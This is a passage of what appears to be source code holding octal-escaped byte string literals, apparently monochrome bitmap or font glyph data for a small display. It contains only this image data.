\"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\377\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\377\\377\\177\\77\"\n  \"\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\377\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\377\\377\\177\\77\"\n  \"\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\3\\7\\7\\3\\3\\3\\1\\1\\1\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300@\\0\\0\\3\\17\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\77\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\300\\360\\374\\377\\377\\77\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\\374\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\77\\377\\376\\374\\370\"\n  \"\\360\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377xxxxxxxxxxxxx||~\\77\\77\\37\\17\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\370\\370\\370|||<|||\\370\\370\\360\\360\\340\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\177\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\377\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\177\\77\\37\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\\17\\17\\17\\17\\37>~\\374\\374\\370\\360\"\n  \"\\340\\200\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\377\\377\"\n  \"\\377\\377\\374\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\340\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\2\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<\\374\\376\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37\\37\\17\\14\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\370\\370x||<<<><<<<|\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\207\\377\\377\\377\\377\"\n  \"\\376\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376>\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\370\\374\\177\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\374\\376\\376|\\70\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\16\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\370\\370x||<<<><<<<|\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\207\\377\\377\\377\\377\"\n  \"\\376\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376>\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\370\\374\\177\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374~~\\376\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\36\\77\\37\\7\\3\\1\\0\\0\\1\\3\\7\\37\\77\\77\\34\\10\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\370\\370x||<<<><<<<|\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\207\\377\\377\\377\\377\"\n  \"\\376\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376>\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\370\\374\\177\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\370|<<<||\\370\\360\\340\\300\\300\\200\\200\\200\\300\\340\\370\\360\"\n  \"`\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\\7\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\370\\370x||<<<><<<<|\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\207\\377\\377\\377\\377\"\n  \"\\376\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376>\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\370\\374\\177\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\360\\370\\370||<<<<<<<<|\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\207\\377\\377\\377\\377\"\n  \"\\376\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376>\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\370\\374\\177\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\376\\376\\17\\7\\7\\7\\17\\37\\376\\374\\374\\360\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\17\\37\\34\\34\\34\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\360\\370\\370x||<<<><<<<|\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\207\\377\\377\\377\\377\"\n  \"\\376\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376>\\37\\37\\17\\17\\17\\17\\17\\17\\17\\17\\7\\7\\7\\7\\7\\7\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\370\\374\\177\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\20x\\374|>\\36\\36\\36\\36\\36>~\\374\\370\\360\\340\\360\\370|>>\\36\\36\\36\\36>~\\374\"\n  \"\\370\\360\\300\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\377\\377\\377\\377\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\377\\377\\377\\377\\374\\376\\377\\77\\17\\7\\7\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\177\\377\\377\\370\\360\\340\\300\\300\\300\\300\\340\\340\\370\\377\\177\\77\\177\\376\\370\\360\\340\\340\\300\\300\\300\\300\\300\\340\"\n  \"\\340\\360\\360`\\0\\0\\1\\3\\3\\3\\3\\7\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\7\\3\\3\\3\"\n  \"\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370\\370||<<<><<<||\\374\\370\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\"\n  \"\\7\\3\\0\\0\\0\\0\\177\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\177\\377\\374\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\360\\370\"\n  \"\\360\\340@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\207\\377\\377\\377\\307\\307\\307\\307\\203\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\30<<\\70xpqqqqqy\\77\\77\\37\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<\\374\\376\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\37\\37\\14\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\370||<<<<<<||\\370\\370\\360\\360\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\374\\377\\377\\377\\277\\207\\201\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\203\\377\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\377\\377\\377\\377\\377\\307\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\1\\0\\0\\0\\0\\7\\37\\77\\177\\377\\376\\370\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360\\360`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\376\\376|\\70\\30\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\16\\37\\37\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\370||<<<<<<||\\370\\370\\360\\360\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\374\\377\\377\\377\\277\\207\\201\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\203\\377\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\377\\377\\377\\377\\377\\307\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\1\\0\\0\\0\\0\\7\\37\\77\\177\\377\\376\\370\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360\\360`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374~\\376\\374\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34>\\77\\17\\7\\3\\0\\0\\0\\1\\3\\17\\37\\77>\\34\\10\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\370||<<<<<<||\\370\\370\\360\\360\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\374\\377\\377\\377\\277\\207\\201\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\203\\377\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\377\\377\\377\\377\\377\\307\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\1\\0\\0\\0\\0\\7\\37\\77\\177\\377\\376\\370\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360\\360`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\370||<<<<<<||\\370\\370\\360\\360\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\374\\377\\377\\377\\277\\207\\201\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\201\\203\\237\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\377\\377\\377\\377\\377\\307\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\1\\0\\0\\0\\0\\7\\37\\77\\177\\377\\376\\370\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360\\360`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\36~\\377\\377\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\17\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\36\\36\\36\\36\\36\\36\\36\\376\\376\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\377\\377\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\377\\376|<\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\37\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374~~\\374\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\"\n  